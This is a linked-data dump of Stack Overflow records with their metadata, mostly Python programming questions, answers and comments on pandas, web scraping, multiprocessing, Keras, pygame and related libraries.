http://stackoverflow.com/q/48745091
has body: I've 2 data frames of unequal length df and df_IGR both of which have columns Lat and Lon which I want to compare. When I do element-wise comparison such that I'm able to extract any column values from either of the two df's for which the difference in Lat and Lon between of the two df's is less than 0.005 for row in df_IGR.itertuples(): print(df.index[((df.Lat - row.Lat) &lt; 0.005) &amp; ((df.Lon - row.Lon) &lt; 0.005)]) This Works but when I'm trying to use the same condition in an if loop, it doesn't work. for row in df_IGR.itertuples(): count = 0 if (((df.Lat - row.Lat) &lt; 0.0005) &amp; ((df.Lon - row.Lon) &lt; 0.0005)): print (row.Name) count = count + 1 print (count) &gt;&gt;ValueError: The truth value of a Series is ambiguous. Use a.empty, a.bool(), a.item(), a.any() or a.all(). Can anyone explain why it's not working? And how can I make the "if loop" working here? I already went through this answer but I don't understand what I need to change. https://stackoverflow.com/a/36922103/7763326 Edit: the data looks like df.head() &gt;&gt; back_hr Lat Lon AGL Pressure BT_time 1998-01-01 11:15:00 0.0 75.197 -150.045 1000.0 900.8 1998-01-01 11:00:00 -0.2 75.245 -150.001 1002.4 900.5 1998-01-01 10:00:00 -1.2 75.447 -149.863 1011.2 899.2 1998-01-01 09:00:00 -2.2 75.661 -149.785 1019.3 898.3 1998-01-01 08:00:00 -3.2 75.887 -149.762 1028.1 897.1 df_IGR.head() &gt;&gt; ID Lat Lon Elevation State Name FirstYr LastYr NObs 193 BEM0000644 50.796 4.358 99 NaN UCCLE 1949 2016 42564 195 BEM0000647 50.033 5.400 558 NaN ST-HUBE 1964 2006 26357 241 BOM0002685 53.933 27.633 231 NaN MINSK 1939 1998 43822 242 BOM0003300 52.116 23.683 144 NaN BREST 1951 2007 40167 244 BOM0003304 52.401 30.963 126 NaN GOMEL 1970 2017 32410
possible better answer: http://stackoverflow.com/a/48745330
has comment: http://stackoverflow.com/comment/84493824
score: 0
answer count: 2
tagged with: pandas
linked to: http://stackoverflow.com/q/36921951
tagged with: python
has comment: http://stackoverflow.com/comment/84490445
has comment: http://stackoverflow.com/comment/84490143
has answer: http://stackoverflow.com/a/48745354
type: AnsweredQuestion
has title: The truth value of a Series is ambiguous while using 'if loop'
accepted answer: http://stackoverflow.com/a/48745354
type: Question
has answer: http://stackoverflow.com/a/48745330
has comment: http://stackoverflow.com/comment/84490123
linked to: http://stackoverflow.com/q/47704647

http://stackoverflow.com/comment/84459381
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48729792
has text: The question doesn't ask for the largest. It asks for "any sublist that is ordered."
score: 0

http://stackoverflow.com/q/48724247
type: UnansweredQuestion
tagged with: python
has body: I am creating a small web scraping program in Python that takes GPU information from newegg.com and notes down all of the prices. As of now, I have not implemented the spreadsheet as every time I run it, I get one of 2 errors. The code is below: from urllib.request import urlopen as uReq from bs4 import BeautifulSoup as soup import numpy as np myURL = "https://www.newegg.com/global/uk/Product/ProductList.aspx?Submit=ENE&amp;N=-1&amp;IsNodeId=1&amp;Description=graphics%20card&amp;bop=And&amp;PageSize=96&amp;order=BESTMATCH" # defining my url as a variable uClient = uReq(myURL) #opening the connection page_html = uClient.read() # getting html uClient.close() # closing the client page_soup = soup(page_html, "html.parser") # html parsing containers = page_soup.findAll("div", {"class":"item-container"}) #get all item containers/product container = containers[0] count = 0 for container in containers: print(count) brand = container.div.div.a.img["title"]# get the brand of the card if brand == None: print("N/A") else: print(brand) title_container = container.findAll("a", {"class", "item-title"}) product_name = title_container[0].text # getting the product name if product_name == None: print("N/A") else: print(product_name) price1 = container.find("div",{"class":"item-action"}) price1 = price1.ul price2 = price1.find("li", {"class": "price-current"}).contents #defining the product price if not price2: print("N/A") else: print(price2[2]) print(price2[3].text) print(price2[4].text) print() count+=1 The errors say the following: Traceback (most recent call last): File "C:/Users/Ethan Price/Desktop/test.py", line 23, in brand = container.div.div.a.img["title"]# get the brand of the card TypeError: 'NoneType' object is not subscriptable Traceback (most recent call last): File "C:/Users/Ethan Price/Desktop/test.py", line 43, in print(price2[2]) IndexError: list index out of range In trying to fix it, I tried to turn the list into an array and tried changing the if statements.
has answer: http://stackoverflow.com/a/48724319
tagged with: web-scraping
type: Question
has comment: http://stackoverflow.com/comment/84447369
has title: My Python code keeps returning different errors when i run it
tagged with: urllib
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/48724353
tagged with: beautifulsoup

http://stackoverflow.com/q/48650879
has comment: http://stackoverflow.com/comment/84302953
has body: titles =('IP','URL') t = PrettyTable([]) list1 = ['8.8.8.8', '8.8.8.8', '8.8.8.8', '8.8.8.8', ] list2 = ['http://www.example.com', 'http://www.example.com', ] for title,lst in zip(titles,itertools.izip_longest(list1,list2,fillvalue="")): t.add_column(title,lst) print t Display the code outputs: Display that I actually want:
tagged with: prettytable
tagged with: python
has comment: http://stackoverflow.com/comment/84302124
answer count: 0
type: UnansweredQuestion
type: Question
score: 0
has title: Inserting Different length lists in PrettyTable Python

http://stackoverflow.com/comment/84496331
type: Comment
type: QuestionComment
has text: I haven't done it with simulation data yet, but it does depend on model specification. Even changing the seed can make a model that wouldn't terminate terminate. I don't *think* it's that one of the chains is stuck, because the processes all end, and it seems to get stuck shutting down the multiprocessing, but it could be that it's the remaining process. I don't think it's an issue with my system because it terminates sometimes, and Metropolis terminates without trouble. It's a hierarchical model. Having categories with lots of zeros seems to make it more likely to happen, but only sometimes.
comment on: http://stackoverflow.com/q/48709478
score: 0

http://stackoverflow.com/a/48729610
score: 2
accepted answer of: http://stackoverflow.com/q/48729472
downvote count: 0
has body: Since you have pandas dataframe, you can u its plotting method: tacf.plot(kind='bar') Result for your data: This is equivalent to: plt.bar(tacf.index, tacf.iloc[:, 0]) plt.legend(tacf.columns)
answers question: http://stackoverflow.com/q/48729472
type: AcceptedAnswer
upvote count: 2
type: Answer

http://stackoverflow.com/a/48677244
downvote count: 0
type: Answer
upvote count: 2
score: 2
has body: This minimal change will probably do what you want (although it is not the best code). Replace plt.figure(1) with plt.figure(). Remove any plt.show() from inside the loop. The loop will end and then all 3 figures will be shown. The e^x curves will be in figures #1 and #3.
answers question: http://stackoverflow.com/q/48675320
accepted answer of: http://stackoverflow.com/q/48675320
type: AcceptedAnswer

http://stackoverflow.com/q/48705408
accepted answer: http://stackoverflow.com/a/48707831
downvote count: 1
has answer: http://stackoverflow.com/a/48707798
has comment: http://stackoverflow.com/comment/84409698
possible better answer: http://stackoverflow.com/a/48707798
has title: Sharing a Queue instance between different modules
type: AnsweredQuestion
upvote count: 0
tagged with: global
favorite count: 0
has comment: http://stackoverflow.com/comment/84412144
has answer: http://stackoverflow.com/a/48707831
type: Question
answer count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/84409676
has body: I am new to Python and I would like to create what is a 'global static variable', my thread-safe and process-safe queue, between threads/processes created in different modules. I read from the doc that the concept of a global variable is created using a third module, that I will call as cfg, which defines and initializes my global queue. I have a problem sharing the instance of this objects between my modules because I tried to print the repr() function over the shared queue imported from the cfg module, inside my other modules that import it, and it shows that they are different instances. It seems that every time I try to import a module a new instance is created and passed to the module who imports it. Main.py: import GatewayManager if __name__ == '__main__': GatewayManager.initialize() doSomething() GatewayManager.py: import multiprocessing import queue import threading def initialize(): # Multiprocessing or Threading global isMonoCPU isMonoCPU = multiprocessing.cpu_count() == 1 global sharedQueue sharedQueue = multiprocessing.Queue() if not isMonoCPU else queue.Queue() print("gateway: ", sharedQueue.__repr__()) otherModules.py: import GatewayManager # Some module write on the queue GatewayManager.sharedQueue.put(variable) # Some read from the queue GatewayManager.sharedQueue.get() print("driver: ", GatewayManager.sharedQueue.__repr__())
score: -1
tagged with: multithreading

http://stackoverflow.com/q/48673359
tagged with: proxy
score: 3
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84642871
has body: This question continues from here. I want to create a reverse proxy of sorts that will allow me to host an application that runs on a specified port on a server that does not have that port open. But I do not want take over ports 80/443 because I need to have other apps running on that server. Instead, I want an app running at localhost:#### to be served from a suburl or subdomain such as http://myserver/myapp. Here is what I tried: helloflask.py #!/usr/bin/env python from flask import Flask app = Flask(__name__) @app.route('/') def hello_world(): return 'Hello World!' if __name__ == '__main__': app.run() middle.py #!/usr/bin/env python print ("Content-Type: text/html") print() import requests #response = requests.get("http://localhost:5000") response = requests.get("http://localhost:8888/token=8a387fe88d662e2568f9b8ec2398191452492e7184536670") print(response.text) When I run helloflask.py it runs on port 5000, and I can visit mydomain/middle.py and get the correct response of "Hello World!" displayed in the browser. However, when I run a jupyter notebook on port 8888, I get a malformed web page. Strangely, the page sources are identical (see the diff). So, what do I need to do to make jupyter run from the proxy? Here is an image of how the page appears through middle.py. The link to IPythonParallel works, but no other links or controls function in any way.
has title: How to properly return http response from Python Requests library (want a Python reverse proxy)
answer count: 0
upvote count: 3
tagged with: python-requests
type: Question
tagged with: apache
linked to: http://stackoverflow.com/q/48635552

http://stackoverflow.com/q/48783917
tagged with: web-scraping
upvote count: 1
possible better answer: http://stackoverflow.com/a/48784852
type: Question
has answer: http://stackoverflow.com/a/48785019
has title: How can we get response of next loading web page
has body: I am writing a scraper to get all the movie list available on hungama.com I am requesting "http://www.hungama.com/all/hungama-picks-54/4470/" url to get the response. When you go to this url, this will show 12 movies on the screen but as you sroll down the movie count gets increasing by auto reload. I am parsing the html source page with below code response.css('div.movie-block-artist.boxshadow.clearfix1&gt;div&gt;div&gt;a::text').extract() but I only get 12 items whereas there are more movie items. how can I get all the movies available. Please help.
tagged with: python-2.7
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/48784852
favorite count: 0
tagged with: python
tagged with: css
tagged with: xpath
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48785019
score: 1

http://stackoverflow.com/comment/84392216
type: Comment
comment on: http://stackoverflow.com/a/48696638
has text: thx, I'm solving a matrix differential equation. `+0.j` means the imaginary part of eigenvalues are `0`?
score: 0
type: AnswerComment

http://stackoverflow.com/a/48797132
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48796972
has comment: http://stackoverflow.com/comment/85607415
answers question: http://stackoverflow.com/q/48796972
type: Answer
has body: Well, a hint: What you're seeing is the call stack. As you surely know being a programmer, calling a function (or a method) involves adding that call's context (arguments, local variables, return address) to the area in memory called the stack. So, you're seeing the calls that your code (and code that's not yours) made - and that had not yet returned - when the segmentation fault happened. As your process got the segfault, it didn't continue executing or "unwind" the stack - it just dumped all of the frames. (And note the frames are listed from deepest to shallowest.) Luckily for you, most of the stack frames have the name of the function running, so you can better figure out where exactly you accessed memory in a problematic segment. Unfortunately for you, the stack trace doesn't seem to have line numbers (those are all the pairs of ??s), so you can't really pinpoint it except to the calls to the function that constitutes the next stack frame in. Also unfortunately for you - it looks like most/all of those names are in-built functions of PyQT or of QT or of just Python, rather than your own functions (though I might be wrong here, especially if you've overloaded) - and this also makes it more difficult for you to figure out where you've caused these segfaults - since you've probably set some values which later case the code that's not yours to make invalid accesses.
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/85619109
has comment: http://stackoverflow.com/comment/84613620

http://stackoverflow.com/comment/84483661
score: 2
has text: @MartinJ.H. Because it's not designed or guaranteed to do what you're trying to accomplish. It doesn't provide atomicity or bounded latency. Realtime I/O to file-like objects is what named pipes are *for*, and you should take some time to learn what they are. This question is an [XY problem](https://meta.stackexchange.com/questions/66377/what-is-the-xy-problem).
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48736281

http://stackoverflow.com/q/48656982
has title: Find the largest subtable that has 7's everywhere in Pandas'
has comment: http://stackoverflow.com/comment/84312576
score: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/84311706
has comment: http://stackoverflow.com/comment/84312200
has comment: http://stackoverflow.com/comment/84311605
has comment: http://stackoverflow.com/comment/84311673
has comment: http://stackoverflow.com/comment/84312658
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84311926
tagged with: python
answer count: 0
has comment: http://stackoverflow.com/comment/84312309
type: Question
tagged with: algorithm
linked to: http://stackoverflow.com/q/3806520
has body: Suppose I have the following data frame: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 ... F1025 F1026 F1027 \ 5005 7 7 7 7 7 7 7 7 7 7 ... 7 7 7 5006 7 7 7 7 7 7 7 7 7 7 ... 7 7 7 5010 7 7 7 7 7 7 7 7 7 7 ... 7 7 7 5013 7 7 7 7 7 7 7 7 7 7 ... 7 7 7 5016 6 6 6 6 6 6 6 6 6 6 ... 0 0 0 5017 7 7 7 7 7 7 7 7 7 7 ... 7 7 7 5019 7 7 7 7 7 7 7 7 7 7 ... 7 7 7 5021 5 5 5 5 5 5 5 5 5 5 ... 0 0 0 5102 7 7 7 7 7 7 7 7 7 7 ... 1 1 1 5103 7 7 7 7 6 7 7 7 7 7 ... 7 7 7 5104 7 7 7 7 7 7 7 7 7 7 ... 0 0 0 5302 6 6 6 6 6 6 6 6 6 6 ... 0 0 0 5409 6 6 6 6 6 6 6 6 6 6 ... 2 2 2 5422 0 0 0 0 0 0 0 0 0 0 ... 0 0 0 5601 0 0 0 0 0 0 0 0 0 0 ... 0 0 0 5603 7 7 7 7 7 7 7 7 7 7 ... 7 7 7 Is there a way in Python that I can easily find the largest subset of features and indices that have 7's everywhere in the middle? I realize this might be a greedy algorithm where I first pick all features, or I first pick all indices? I'm not sure the best way to tackle it.

http://stackoverflow.com/a/48770582
accepted answer of: http://stackoverflow.com/q/48769882
downvote count: 0
score: 6
has comment: http://stackoverflow.com/comment/108064751
type: AcceptedAnswer
upvote count: 6
has body: You must first understand how pygame.display.flip and pygame.display.update work. When the screen mode pygame.DOUBLEBUF is set, Pygame actually maintains two screens: the active screen which is presently displayed and a buffer which you (the programmer) can update behind the scenes (without the user seeing anything). Once you are done with your edits on the buffer, you can use pygame.display.flip to switch the active screen with the buffer. The entire screen is updated. This is the recommended way to update the entire screen. Also, this is the only way to update non-software screens (OPENGL and Hardware accelerated screens for example). pygame.display.update on the other hand treats the screen as a group of pixels (that's called a software screen). This allows a Pygame program to update only a portion of the screen. This is faster as only a portion of the screen needs to be modified. Now, if the entire screen is to be updated (pygame.display.flip and pygame.display.update without any arguments) pygame.display.flip is faster. Remember, I said OpenGL and HW-accelerated screens (SOFT-screens too) maintain a buffer. Drawing to this buffer is slow, but flipping is very fast (in HW-screens and OpenGL). Updating the entire screen using pygame.display.update is even slower as it does things pixel by pixel and without HW-acceleration.
answers question: http://stackoverflow.com/q/48769882
type: Answer

http://stackoverflow.com/comment/129543466
type: AnswerComment
comment on: http://stackoverflow.com/a/48743805
type: Comment
has text: eh? would you elaborate?
score: 0

http://stackoverflow.com/q/48782213
upvote count: 6
has body: I am using the fit_generator function to train my models and want to verify that my data is constructed and used as intended. My class derived from keras.utils.Sequence() implements the methods __getitem__, __len__ and on_epoch_end and looks like this: class PairwiseSequence(Sequence): """Generator that returns a combination of simulations (over a parametrizable amount of timesteps) and the corresponding metric distance. pair_list: List of pairwise combinations of simulations results: dictionary with results for the metric distance between simulation pairs sim_files: List of filenames representing single timesteps batch_size: number of samples to process in a single interference run """ def __init__(self, pair_list, results, mean, std, train=False, sim_files=None, batch_size=1): self.pair_list = pair_list self.results = results self.batch_size = batch_size self.sim_files = sim_files self.mean = mean self.std = std self.train = train def __len__(self): return math.ceil(len(self.pair_list) / self.batch_size) def __getitem__(self, idx): dummy = LOADING_METHOD(self.pair_list[0][0], self.sim_files) x_1 = np.zeros(tuple([self.batch_size]) + dummy.shape) x_2 = np.zeros(tuple([self.batch_size]) + dummy.shape) y = np.zeros((self.batch_size, 1)) if self.train: #print((idx * self.batch_size + i) % len(self.pair_list), ',') print("training idx:", idx) else: print("validation idx:", idx) for i in range(0, self.batch_size): (sim1, sim2) = self.pair_list[(idx * self.batch_size + i) % len(self.pair_list)] x_1[i] = LOADING_METHOD(sim1, self.sim_files) - self.mean[0] x_1[i] /= self.std[0] x_2[i] = LOADING_METHOD(sim2, self.sim_files) - self.mean[1] x_2[i] /= self.std[1] y[i] = self.results[frozenset((sim1.ensemble, sim2.ensemble))] return [x_1, x_2], y def on_epoch_end(self): if self.train: print("training generator: epoch end") else: print("validation generator: epoch end") #random.shuffle(self.pair_list) This class is used as generator for training and validation data (two separate…
has comment: http://stackoverflow.com/comment/84582146
answer count: 1
has comment: http://stackoverflow.com/comment/84566239
has answer: http://stackoverflow.com/a/48782741
linked to: http://stackoverflow.com/q/46232904
has comment: http://stackoverflow.com/comment/84566231
has comment: http://stackoverflow.com/comment/84591463
tagged with: neural-network
type: UnansweredQuestion
score: 6
has title: Keras fit_generator: Unexpected usage of __getitem__ method
has comment: http://stackoverflow.com/comment/84582061
downvote count: 0
tagged with: keras
favorite count: 0
has comment: http://stackoverflow.com/comment/84568085
type: Question
has comment: http://stackoverflow.com/comment/84566841
tagged with: python

http://stackoverflow.com/a/48736268
accepted answer of: http://stackoverflow.com/q/48736085
answers question: http://stackoverflow.com/q/48736085
type: AcceptedAnswer
downvote count: 0
has body: No. You cannot control the locator via matplotlib rc. The default is always an AutoDateLocator. All valid matplotlib rc parameter are shown in the example file https://matplotlib.org/users/customizing.html.
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/48756691
has title: How to read multiple files into multiple threads/processess to optimize data analyses?
score: 0
has body: I am trying to read 3 different files in python and do something to extract the data outof it. Then I want to merge the data into one big file. Since each individual files are already big and take sometime doing the data processing, I am thinking if I can read all three files at once (in multiple threads/process) wait for the process for all files to finish when all output are ready then pipe all the data to downstream function to merge it. Can someone suggest some improvement to this code to do what I want. import pandas as pd file01_output = ‘’ file02_output = ‘’ file03_output = ‘’ # I want to do all these three “with open(..)” at once. with open(‘file01.txt’, ‘r’) as file01: for line in file01: something01 = do something in line file01_output += something01 with open(‘file02.txt’, ‘r’) as file01: for line in file01: something02 = do something in line file02_output += something02 with open(‘file03.txt’, ‘r’) as file01: for line in file01: something03 = do something in line file03_output += something03 def merge(a,b,c): a = file01_output b = file01_output c = file01_output # compile the list of dataframes you want to merge data_frames = [a, b, c] df_merged = reduce(lambda left,right: pd.merge(left,right, on=['common_column'], how='outer'), data_frames).fillna('.')
has comment: http://stackoverflow.com/comment/84514560
has comment: http://stackoverflow.com/comment/84514766
has comment: http://stackoverflow.com/comment/84515011
tagged with: python-multithreading
type: UnansweredQuestion
tagged with: multithreading
tagged with: python
linked to: http://stackoverflow.com/q/48737403
has comment: http://stackoverflow.com/comment/84514702
has comment: http://stackoverflow.com/comment/84514733
has comment: http://stackoverflow.com/comment/84514752
tagged with: python-multiprocessing
tagged with: multiprocessing
type: Question
has comment: http://stackoverflow.com/comment/84515549
has comment: http://stackoverflow.com/comment/84514973
answer count: 1
has answer: http://stackoverflow.com/a/48776846

strftime
type: Tag
tag name: strftime
tags question: http://stackoverflow.com/q/48793363

http://stackoverflow.com/a/48666039
upvote count: 5
accepted answer of: http://stackoverflow.com/q/48665846
answers question: http://stackoverflow.com/q/48665846
score: 5
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You can use try/except like this: import requests from requests.exceptions import ConnectionError try: request = requests.get('http://www.example.com') except ConnectionError: print('Web site does not exist') else: print('Web site exists')

http://stackoverflow.com/q/48703231
has comment: http://stackoverflow.com/comment/84405474
tagged with: linux
upvote count: 5
tagged with: fork
has comment: http://stackoverflow.com/comment/84405156
tagged with: python
type: AnsweredQuestion
has body: I want to fork a process and wait for the parent to exit before doing something in the child.
downvote count: 0
has answer: http://stackoverflow.com/a/48703232
accepted answer: http://stackoverflow.com/a/48703232
type: Question
has title: How to wait for parent process to exit in a child?
has comment: http://stackoverflow.com/comment/84405345
score: 5
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/84428288
score: 0
type: Comment
type: QuestionComment
has text: I am getting all sorts of issues when trying to specify a python 3 environment when creating a virtualenv (e.g. using the command: (venv) bash$ virtualenv -p /path/to/python3 v3 Running virtualenv with interpreter /path/to/python3 dyld: Library not loaded: @rpath/libpython3.6m.dylib Referenced from: /path/to/python3 Reason: image not found
comment on: http://stackoverflow.com/q/48713928

http://stackoverflow.com/comment/84519561
has text: Awk does not load the entire file into memory. Its processing model is purely a record at a time, where out of the box (and in your case ) a record is a single line.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48759092
score: 0

http://stackoverflow.com/q/48722489
has body: I plotted a an ECG signal form a .dat file using this code : import wfdb record = wfdb.rdsamp('mitdb/100', sampto=3000) annotation = wfdb.rdann('mitdb/100', 'atr', sampto=3000) print(type(record)) wfdb.plotrec(record, title='Record 100 from MIT-BIH Arrhythmia Database .dat form', timeunits = 'seconds', figsize = (10,4), ecggrids = 'all') and I got the following plot : ecg plot out of a .dat file Then i tried to plot the same signal out of a .wav file using this python code : import matplotlib.pyplot as plt import numpy as np import wave spf = wave.open('sig100.wav','r') #Extract Raw Audio from Wav File signal = spf.readframes(-1) signal = np.fromstring(signal, 'Int16') fs = spf.getframerate() #If Stereo if spf.getnchannels() == 2: print ('Just mono files 11') Time=np.linspace(0, len(signal)/fs, num=len(signal)) print(Time) plt.figure(1) plt.title('Record 100 from MIT-BIH Arrhythmia Database .wav form') plt.plot(Time,signal) plt.show() ang I got the following result : ecg plot out of .wav file how can I get a plot similar to the first one out of a .wav file and why did I get a different result first place
has comment: http://stackoverflow.com/comment/84445284
tagged with: signal-processing
type: Question
has comment: http://stackoverflow.com/comment/84444160
downvote count: 0
favorite count: 0
has title: plot ECG signal in python from a .wav file
has comment: http://stackoverflow.com/comment/84885679
has comment: http://stackoverflow.com/comment/84444539
answer count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: python
score: 2
has comment: http://stackoverflow.com/comment/84444587

http://stackoverflow.com/comment/84509000
has text: Can any C-people explain why a C-global doesn't change addresses even on different runs of the interpreter? Even if I have two different interpreter processes running?
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48754015

http://stackoverflow.com/a/48711423
has comment: http://stackoverflow.com/comment/84442375
has comment: http://stackoverflow.com/comment/84424440
answers question: http://stackoverflow.com/q/48711139
has body: Consider merging your remove stopwords function in your readline loop as the following: import nltk from nltk.corpus import stopwords stop_words = set(stopwords.words("english")) with open("d:/example.txt") as the_file: for each_line in the_file: print(nltk.word_tokenize(each_line)) words = nltk.word_tokenize(each_line) stp_words_removed = [] for word in words: if word not in stop_words: stp_words_removed.append(word) print("STOP WORDS REMOVED: ", stp_words_removed) From your description it looks like you've only fed the last line to the stopword remover. What I don't understand is if that's the case you shouldn't be getting all these empty lists.
score: 0
has comment: http://stackoverflow.com/comment/84453839
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48711139
has comment: http://stackoverflow.com/comment/84422649
type: Answer
has comment: http://stackoverflow.com/comment/84446388

http://stackoverflow.com/q/48718675
type: Question
tagged with: sqlalchemy
has comment: http://stackoverflow.com/comment/84436611
answer count: 1
downvote count: 0
score: 6
favorite count: 0
tagged with: postgresql
has body: I am using PostgreSQL database for a program and came across the contains range (@&gt;) operator. As I am converting a PostgreSQL query in python SQLAlchemy, therefore, I need to convert @&gt; into its SQLAlchemy equivalent.
has comment: http://stackoverflow.com/comment/84436665
tagged with: python
upvote count: 6
has title: What is the equivalent of PostgreSQL @> operator in SQLAlchemy
has comment: http://stackoverflow.com/comment/84436584
has answer: http://stackoverflow.com/a/48718878
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84436616
has comment: http://stackoverflow.com/comment/84436513
has comment: http://stackoverflow.com/comment/84436377

http://stackoverflow.com/comment/84291422
comment on: http://stackoverflow.com/q/48646986
has text: no not the last index, the last value, in which ever column it is.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/q/48727020
answer count: 2
tagged with: tags
score: -1
possible better answer: http://stackoverflow.com/a/48727453
has answer: http://stackoverflow.com/a/48727226
accepted answer: http://stackoverflow.com/a/48727226
has body: Is it possible to use a for loop to search through the text of tags that correspond to a certain phrase. I've been trying to create this loop but isn't hasn't been working. Any help is appreciated thanks! Here is my code: def parse_page(self, response): titles2 = response.xpath('//div[@id = "mainColumn"]/h1/text()').extract_first() year = response.xpath('//div[@id = "mainColumn"]/h1/span/text()').extract()[0].strip() aud = response.xpath('//div[@id="scorePanel"]/div[2]') a_score = aud.xpath('./div[1]/a/div/div[2]/div[1]/span/text()').extract() a_count = aud.xpath('./div[2]/div[2]/text()').extract() c_score = response.xpath('//a[@id = "tomato_meter_link"]/span/span[1]/text()').extract()[0].strip() c_count = response.xpath('//div[@id = "scoreStats"]/div[3]/span[2]/text()').extract()[0].strip() info = response.xpath('//div[@class="panel-body content_body"]/ul') mp_rating = info.xpath('./li[1]/div[2]/text()').extract()[0].strip() genre = info.xpath('./li[2]/div[2]/a/text()').extract_first() date = info.xpath('./li[5]/div[2]/time/text()').extract_first() box = response.xpath('//section[@class = "panel panel-rt panel-box "]/div') actor1 = box.xpath('./div/div[1]/div/a/span/text()').extract() actor2 = box.xpath('./div/div[2]/div/a/span/text()').extract() actor3 = box.xpath('./div/div[3]/div/a/span/text()').extract_first() for x in info.xpath('//li'): if info.xpath("./li[x]/div[1][contains(text(), 'Box Office: ')/text()]] box_office = info.xpath('./li[x]/div[2]/text()') else if info.xpath('./li[x]/div[1]/text()').extract[0] == "Runtime: "): runtime = info.xpath('./li[x]/div[2]/time/text()')
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
has title: Searching through html in scrapy?
favorite count: 0
tagged with: xpath
upvote count: 0
has comment: http://stackoverflow.com/comment/84455349
tagged with: python
has answer: http://stackoverflow.com/a/48727453
type: AnsweredQuestion
tagged with: scrapy
type: Question

http://stackoverflow.com/comment/84355145
type: Comment
has text: For someone new who is following a tutorial, this answer not only is not useful, is actually confusing. Care to add more explanation, to make your post actually useful?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48678940

http://stackoverflow.com/q/48796756
type: AnsweredQuestion
has title: How does heapq.nsmallest work
possible better answer: http://stackoverflow.com/a/48796928
has answer: http://stackoverflow.com/a/48796928
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/48810320
downvote count: 0
tagged with: runtime
tagged with: sorting
favorite count: 0
upvote count: 8
tagged with: heap
linked to: http://stackoverflow.com/q/23038756
tagged with: python
tagged with: dictionary
score: 8
accepted answer: http://stackoverflow.com/a/48810320
linked to: http://stackoverflow.com/q/12266617
has body: I'm trying to determine the fastest runtime for getting k (key,value) pairs based on the smallest k keys in a dictionary. i.e.: for mynahs = {40:(1,3),5:(5,6),11:(9,2),2:(6,3),300:(4,4),15:(2,8)} smallestK(mynahs,3) would return: [(2,(6,3)),(5,(5,6)),(11,(9,2))] I've seen a few different ways to do this: 1. mylist = list(mynahs.keys()) mylist.sort mylist = mylist[:k] return [(k, mynahs[k]) for k in mylist] but everyone seems to think heapq is the fastest cheap = heapq.nsmallest(3, mynahs) return [(k, mynahs[k]) for k in cheap] How does heapq.nsmallest work and why is it fastest? I have seen this question and this one I still don't understand. Is heapq using a minheap to get the nsmallest? How does that work? I've also heard about an algorithm called quickselect, is that what it's using? What's the runtime of it? If the dictionary is constantly changing/updating, is calling heapq.nsmallest each time you need the nsmallest the fastest way to do that?

http://stackoverflow.com/comment/84373911
has text: I tried adding '\$' instead of '$', but still getting the same error.
type: Comment
comment on: http://stackoverflow.com/a/48687982
score: 0
type: AnswerComment

http://stackoverflow.com/q/48682215
type: Question
has title: HTTPHandler class initialization parameters consist redundant information
score: 0
answer count: 1
tagged with: httphandler
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/48682650
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48682650
has body: From the official docs on the HTTPHandler class: class logging.handlers.HTTPHandler(host, url, method='GET', secure=False, credentials=None, context=None) Returns a new instance of the HTTPHandler class. The host can be of the form host:port, should you need to use a specific port number. There is no documentation of the url parameter, and I'm not quite sure what to put there. For example, if I have a server listening on http://localhost:8080, then I think I should set: host='localhost:8080' url='http://localhost:8080' But wouldn't that always be redundant information? Or else, what should I set the url parameter to?
tagged with: logging

http://stackoverflow.com/a/48753553
accepted answer of: http://stackoverflow.com/q/48752978
upvote count: 2
answers question: http://stackoverflow.com/q/48752978
type: AcceptedAnswer
type: Answer
has body: Using the official python client it seems that you can. This is the example from the docs from __future__ import print_function import time import kubernetes.client from kubernetes.client.rest import ApiException from pprint import pprint # Configure API key authorization: BearerToken configuration = kubernetes.client.Configuration() configuration.api_key['authorization'] = 'YOUR_API_KEY' # Uncomment below to setup prefix (e.g. Bearer) for API key, if needed # configuration.api_key_prefix['authorization'] = 'Bearer' # create an instance of the API class api_instance = kubernetes.client.CoreV1Api(kubernetes.client.ApiClient(configuration)) namespace = 'namespace_example' # str | object name and auth scope, such as for teams and projects pretty = 'pretty_example' # str | If 'true', then the output is pretty printed. (optional) _continue = '_continue_example' # str | The continue option should be set when retrieving more results from the server. Since this value is server defined, kubernetes.clients may only use the continue value from a previous query result with identical query parameters (except for the value of continue) and the server may reject a continue value it does not recognize. If the specified continue value is no longer valid whether due to expiration (generally five to fifteen minutes) or a configuration change on the server the server will respond with a 410 ResourceExpired error indicating the kubernetes.client must restart their list without the continue field. This field is not supported when watch is true. Clients may start a watch from the last resourceVersion value returned by the server and not miss any modifications. (optional) field_selector = 'field_selector_example' # str | A selector to restrict the list of returned objects by their fields. Defaults to everything. (optional) include_uninitialized = true # bool | If true, partially initialized resources are included in the response. (optional) label_selector = 'label_selector_example' # str |…
score: 1
downvote count: 1

http://stackoverflow.com/a/48773371
has body: i do not know how to change the text file but you can create new one as you wish. my solution is that : i would create two arraylist one contains all words with repetions if there is, and one contains all words without repetion. Liket that: list1 : {dog, dog, cat, dog, bird, cat} list2 : {dog, cat, bird} Then i would print every word and ask for what user want to replace them with one by one. After that with one "for loop" and "if statement", i would change them
type: Answer
score: -1
downvote count: 1
